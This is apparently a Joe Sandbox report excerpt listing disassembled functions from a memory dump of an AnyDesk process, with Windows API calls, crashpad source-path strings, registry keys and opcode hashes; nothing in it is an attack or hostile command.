Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 909987262-4289949731
Opcode ID: 35d1c9ec29735bdf79bd5aa469609318a87ea68aac3edde3b2fb76fe2b7b746d
Instruction ID: d4bba0d876c074bc56d01e44c4e995e3150304278bffe725f3ea2fffeee81e02
Opcode Fuzzy Hash: 35d1c9ec29735bdf79bd5aa469609318a87ea68aac3edde3b2fb76fe2b7b746d
Instruction Fuzzy Hash: 0E31C731304A149FD720DF5CF980A5EB7A9FBD1654B208A2FE591CB281EB71E84087B1

Uniqueness

Uniqueness Score: -1.00%

Function 69C21F20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

new.LIBCMT ref: 69C21F48

Part of subcall function 69C21E30: GetModuleFileNameW.KERNEL32(00000000,?,00000104,?), ref: 69C21E54

CreateFileW.KERNEL32(?,00000004,00000003,00000000,00000004,00000080,00000000), ref: 69C21F81
CreateFileW.KERNEL32(?,00000004,00000003,00000000,00000004,00000080,00000000,?,debug.log), ref: 69C22032

Strings

debug.log, xrefs: 69C21EDF, 69C21FC2

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: File$Create$ModuleName
String ID: debug.log
API String ID: 253491666-600467936
Opcode ID: 966b0ca99fd6fc329b00ebd1bd4be4e1cb19aac0ce830fdc2ca2ab1e66ab7bfc
Instruction ID: c283b848fcf895a94a001e33dff8df5103c3f0ef5c7699549c8088b7ab58e0be
Opcode Fuzzy Hash: 966b0ca99fd6fc329b00ebd1bd4be4e1cb19aac0ce830fdc2ca2ab1e66ab7bfc
Instruction Fuzzy Hash: C341A2B0A10204AFDF04DFA4EC95B6E77B5BB05714F608219E911AB2E0EB759506CB51

Uniqueness

Uniqueness Score: -1.00%

Function 69C24F30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C2501A
std::_Xinvalid_argument.LIBCPMT ref: 69C25024

Strings

string too long, xrefs: 69C25015, 69C2501F
invalid string position, xrefs: 69C2500B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 909987262-4289949731
Opcode ID: 4bb33e8f92131215e140b279356e643ccca0c4ae7f2480547ce595bf17f9e54c
Instruction ID: 4bae741cdcd4619dc71fde3e3be55d64476f595c013875d6236808ef9820330d
Opcode Fuzzy Hash: 4bb33e8f92131215e140b279356e643ccca0c4ae7f2480547ce595bf17f9e54c
Instruction Fuzzy Hash: 1F31DD323002509FE724CE6CFC80E5EB7A9FFD5761B604A2EE552CB681E371D84087A2

Uniqueness

Uniqueness Score: -1.00%

Function 69C64306 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?), ref: 69C64364
GetLastError.KERNEL32 ref: 69C64386

Strings

DeleteFile , xrefs: 69C643C1
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc, xrefs: 69C64392

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID: DeleteFile $c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc
API String ID: 2018770650-2174402464
Opcode ID: 1d0a7c1996e12958f8da5b2cd6dd7913755a6a57a2153ac9c325659cb9402e2c
Instruction ID: 4d4f1e228a18f73d3f5d129f77c88323dca11adf859e541954b845cdeaf10f59
Opcode Fuzzy Hash: 1d0a7c1996e12958f8da5b2cd6dd7913755a6a57a2153ac9c325659cb9402e2c
Instruction Fuzzy Hash: 5B316076E00209AADB14DFA4FCE5FAEB7B8EF14314F10902AF511A7190FB359A45CA50

Uniqueness

Uniqueness Score: -1.00%

Function 69C645DD Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90fileCOMMON

Download Yara Rule

APIs

Part of subcall function 69C6674E: CloseHandle.KERNEL32(000000FF,?,00000000), ref: 69C66761
Part of subcall function 69C6674E: GetLastError.KERNEL32(?,00000000), ref: 69C6677A

DeleteFileW.KERNEL32(?), ref: 69C64612
GetLastError.KERNEL32 ref: 69C64631

Strings

DeleteFile , xrefs: 69C6466F
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc, xrefs: 69C6463D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$CloseDeleteFileHandle
String ID: DeleteFile $c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc
API String ID: 1758595503-2174402464
Opcode ID: ac7a23dda1fd5f7e629b8eb5c3cf851c28acc8a43af87614f4813d5db190ab42
Instruction ID: 2614360b5659a8ac2601cd0a962ce0acb417e0eac7217faee118f8bf586f68db
Opcode Fuzzy Hash: ac7a23dda1fd5f7e629b8eb5c3cf851c28acc8a43af87614f4813d5db190ab42
Instruction Fuzzy Hash: AB21DE36A40208AEDB14DBA5FCA6FAE77BCEF44324F10506AE401AB1D0FB35A905C665

Uniqueness

Uniqueness Score: -1.00%

Function 69C669EA Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__vwprintf_l.LIBCMT ref: 69C66A12
GetLastError.KERNEL32(?,?,00000000,00000000), ref: 69C66A2F

Strings

CreateFile , xrefs: 69C66A6A
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc, xrefs: 69C66A3C

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast__vwprintf_l
String ID: CreateFile $c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc
API String ID: 3407089876-2132845161
Opcode ID: 5a5a9b2e9fd42225ac42d342a37bb11b3e412aa06e07a9fb6e21afad6771789d
Instruction ID: 538f46e2b2b55a85a81429dd15b482daab7cb2373d9e7687f78213a6a107049d
Opcode Fuzzy Hash: 5a5a9b2e9fd42225ac42d342a37bb11b3e412aa06e07a9fb6e21afad6771789d
Instruction Fuzzy Hash: 2511E739A50308AEEB14DFB4FC92FAE77A8EF04324F50911AF915AB1D1FB315E048664

Uniqueness

Uniqueness Score: -1.00%

Function 69C6691E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__vwprintf_l.LIBCMT ref: 69C66946
GetLastError.KERNEL32(?,0000001C,0000001C,00000000), ref: 69C66963

Strings

CreateFile , xrefs: 69C6699E
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc, xrefs: 69C66970

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast__vwprintf_l
String ID: CreateFile $c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc
API String ID: 3407089876-2132845161
Opcode ID: 4208a639f5f521797050c3503436803534c7ae48285ab3c38fb45ce2d41c79e3
Instruction ID: 2454c4a8bceff9a339ec367394382f100c91da199f3eaeff5ef91b83aef5c2bb
Opcode Fuzzy Hash: 4208a639f5f521797050c3503436803534c7ae48285ab3c38fb45ce2d41c79e3
Instruction Fuzzy Hash: 02110A75A103086FEB14DBB4FD92FAE73A8EF05324F50511AF9146B1D1FB315E048664

Uniqueness

Uniqueness Score: -1.00%

Function 69C63E20 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

UnlockFileEx.KERNEL32(?,00000000,?,?,?), ref: 69C63E55
GetLastError.KERNEL32(?,00000000,?,?,?), ref: 69C63E6E

Strings

c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc, xrefs: 69C63E7B
UnlockFileEx, xrefs: 69C63E8E

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorFileLastUnlock
String ID: UnlockFileEx$c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc
API String ID: 3655728120-672186346
Opcode ID: bb38b5cbb400c70aa2fc00393ac5f20d125b92e135f67c0319f2f452aa9b071e
Instruction ID: c418c01ff08cc7fd68fca5c1eae0a1132af484a848b8a2eaf2e5e2bcd72b28fb
Opcode Fuzzy Hash: bb38b5cbb400c70aa2fc00393ac5f20d125b92e135f67c0319f2f452aa9b071e
Instruction Fuzzy Hash: DD11233A4007097EE724DEB4FC91BABB3B8EF41358F10486EE295A60E1FB3119058660

Uniqueness

Uniqueness Score: -1.00%

Function 69C667C4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62fileCOMMON

Download Yara Rule

APIs

LockFileEx.KERNEL32(00000000,00000000,00000000,000000FF,000000FF,?,0000001C,0000001C,00000000), ref: 69C667FA
GetLastError.KERNEL32 ref: 69C66810

Strings

LockFileEx, xrefs: 69C6682F
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc, xrefs: 69C6681C

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorFileLastLock
String ID: LockFileEx$c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc
API String ID: 1811722133-1010764315
Opcode ID: 532a908ab02b7f829b7045b73b04902672151b46b63790ea442a420c2aa2e713
Instruction ID: 66dc220c673591c6a3ffd37b610cb4fc699e96146c572a322941f1abdbff68e6
Opcode Fuzzy Hash: 532a908ab02b7f829b7045b73b04902672151b46b63790ea442a420c2aa2e713
Instruction Fuzzy Hash: 5A0149755046183AEB10DEB4EC91BEB776CEF09378F40016AE618A60D1EA32594686A1

Uniqueness

Uniqueness Score: -1.00%

Function 69C66AB6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 69C66AEE
GetLastError.KERNEL32 ref: 69C66B07

Strings

SetFilePointerEx, xrefs: 69C66B26
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc, xrefs: 69C66B13

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: SetFilePointerEx$c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc
API String ID: 2976181284-399997206
Opcode ID: c02b057b7287d9c1509e96c2b9d9077398f489d70767d37b2f1c3c6f9c6203c0
Instruction ID: ca9a3db05fb6977b6c2fd31d72ae09ed0ad046a1657198b8b4fef19c7a7e9cdc
Opcode Fuzzy Hash: c02b057b7287d9c1509e96c2b9d9077398f489d70767d37b2f1c3c6f9c6203c0
Instruction Fuzzy Hash: 73112636600605ABEB14CE68FED2FAE7769FB40364F408169F616971D2FB319A019A50

Uniqueness

Uniqueness Score: -1.00%

Function 69C60518 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

CanOfferRelaunch.GCAPI(?,?,?,?), ref: 69C6052C

Part of subcall function 69C33FC0: RegCreateKeyExW.ADVAPI32(00000202,?,00000000,00000000,00000000,?,00000000,?), ref: 69C33FFA
Part of subcall function 69C33FC0: RegCloseKey.ADVAPI32 ref: 69C3400D

Part of subcall function 69C343A0: RegSetValueExW.ADVAPI32(00000000,?,00000000,00000001,?,?), ref: 69C343E1

Part of subcall function 69C5F147: GetLocalTime.KERNEL32(?), ref: 69C5F15F

Part of subcall function 69C34370: RegSetValueExW.ADVAPI32(?,00000202,00000000,00000004,00000004), ref: 69C34390

Strings

Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}, xrefs: 69C60542
RelaunchAllowedAfter, xrefs: 69C60575
RelaunchBrandcode, xrefs: 69C6055E

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Value$CloseCreateLocalOfferRelaunchTime
String ID: RelaunchAllowedAfter$RelaunchBrandcode$Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}
API String ID: 4093175577-67220017
Opcode ID: 62e0562e9692aec76acc19c365556e2b2081f88f3c6053f55842ad4f35246786
Instruction ID: d6c20c803799bf6d8eafdb0c813b341160da7da24d6d1763baef42476a1005dc
Opcode Fuzzy Hash: 62e0562e9692aec76acc19c365556e2b2081f88f3c6053f55842ad4f35246786
Instruction Fuzzy Hash: F9116D3590022A6BDB14EEA5FD41ADF7B38AF08354F808465AE11B60A1FB71A920DBD5

Uniqueness

Uniqueness Score: -1.00%

Function 69C66C33 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnlockFileEx.KERNEL32(000000FF,00000000,000000FF,000000FF,?,00000000,00000000), ref: 69C66C5B
GetLastError.KERNEL32 ref: 69C66C72

Strings

c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc, xrefs: 69C66C7F
UnlockFileEx, xrefs: 69C66C92

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorFileLastUnlock
String ID: UnlockFileEx$c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc
API String ID: 3655728120-168028389
Opcode ID: dfbc3594481478d1ce3938b7970902673b1d595d46e31bc71c6e983b883860f9
Instruction ID: 74e0969be31cb624634b55c0ce411f6a63e955894ee2d72ab48df1087653ce55
Opcode Fuzzy Hash: dfbc3594481478d1ce3938b7970902673b1d595d46e31bc71c6e983b883860f9
Instruction Fuzzy Hash: A4017B35904B043AEB00CFB4FD92FAEB37CEB45364F500226E624B60E1FB321D064461

Uniqueness

Uniqueness Score: -1.00%

Function 69C50D37 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 69C50DC2
__alldvrm.LIBCMT ref: 69C50FC3
__alldvrm.LIBCMT ref: 69C50FE5

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 08bbd95e0c94314e88f8ac9cb1697bb445864f1c51da791db5baa43eeec002dc
Instruction ID: da80031735801edf8f3708a9817cbba13b8c605573b6d007ab3c0578f42b900d
Opcode Fuzzy Hash: 08bbd95e0c94314e88f8ac9cb1697bb445864f1c51da791db5baa43eeec002dc
Instruction Fuzzy Hash: 09A18932A043869FE711CF18E8917AEBBE1FF51358F14826DD48ADB281E37489B1C758

Uniqueness

Uniqueness Score: -1.00%

Function 69C359B0 Relevance: 6.3, APIs: 4, Instructions: 291COMMON

Download Yara Rule

APIs

Part of subcall function 69C34CA0: AcquireSRWLockExclusive.KERNEL32(00000000,00000001,0000000F), ref: 69C34CBC
Part of subcall function 69C34CA0: ReleaseSRWLockExclusive.KERNEL32(00000000), ref: 69C34D21

Part of subcall function 69C34E80: AcquireSRWLockExclusive.KERNEL32(00000000,00000000,00000000,00000000), ref: 69C34EDB
Part of subcall function 69C34E80: ReleaseSRWLockExclusive.KERNEL32(00000000), ref: 69C34F0A
Part of subcall function 69C34E80: AcquireSRWLockExclusive.KERNEL32(00000000,00000000,00000000,00000000), ref: 69C34FCD
Part of subcall function 69C34E80: ReleaseSRWLockExclusive.KERNEL32(00000000), ref: 69C3500A

AcquireSRWLockExclusive.KERNEL32(00000000), ref: 69C35BFA
ReleaseSRWLockExclusive.KERNEL32(00000000), ref: 69C35C1E
AcquireSRWLockExclusive.KERNEL32(00000000), ref: 69C35C47
ReleaseSRWLockExclusive.KERNEL32(00000000), ref: 69C35C6B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID:
API String ID: 17069307-0
Opcode ID: 30698d9ed052925614070b01d3ad27930918cc672cca2bf69f2f7105bdf2c445
Instruction ID: a21644a8bf8762770113d4e593ccbcbcfe62b5f98ff424adbd1c50a23299a0ca
Opcode Fuzzy Hash: 30698d9ed052925614070b01d3ad27930918cc672cca2bf69f2f7105bdf2c445
Instruction Fuzzy Hash: 94B15074E00669DBCB04CF68E5D07AEB7B5BF89348F948169D809E7380FB359942CB91

Uniqueness

Uniqueness Score: -1.00%

Function 69C22400 Relevance: 6.2, APIs: 4, Instructions: 154fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32(?), ref: 69C22481
WriteFile.KERNEL32(?,?,?,00000000), ref: 69C224FF
SetLastError.KERNEL32(?,?,00000000), ref: 69C225AF
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 69C225C6

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: DebugErrorFileIos_base_dtorLastOutputStringWritestd::ios_base::_
String ID:
API String ID: 3426912829-0
Opcode ID: ce7fe796dddad8bd3d08f5b1f0f216fb2c4921091a64d85ec6a9a46b4438042f
Instruction ID: 06934a46bd91d4729561a191e71c88f625d240b8d3588c2d6d591802e76392aa
Opcode Fuzzy Hash: ce7fe796dddad8bd3d08f5b1f0f216fb2c4921091a64d85ec6a9a46b4438042f
Instruction Fuzzy Hash: FA51E1B56043509FDB04CF54E855AAAB7F8FF89308F40482CF99697191E730E60ACBA3

Uniqueness

Uniqueness Score: -1.00%

Function 69C5DBFC Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 69C5DD2B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: fdf2d6fff5601896827650a7694e601a39b60bd8cd467cecd34269db04ce6001
Instruction ID: e89ff6e74e40f4068ed9d8b6ff91b65af18bc6960847cfa2c33b86a70cd3cb54
Opcode Fuzzy Hash: fdf2d6fff5601896827650a7694e601a39b60bd8cd467cecd34269db04ce6001
Instruction Fuzzy Hash: 28411735A003046BE7119FB9AC40BAE3BB9FF42774F108666F41BD61D0FBB44871466A

Uniqueness

Uniqueness Score: -1.00%

Function 69C4FE76 Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
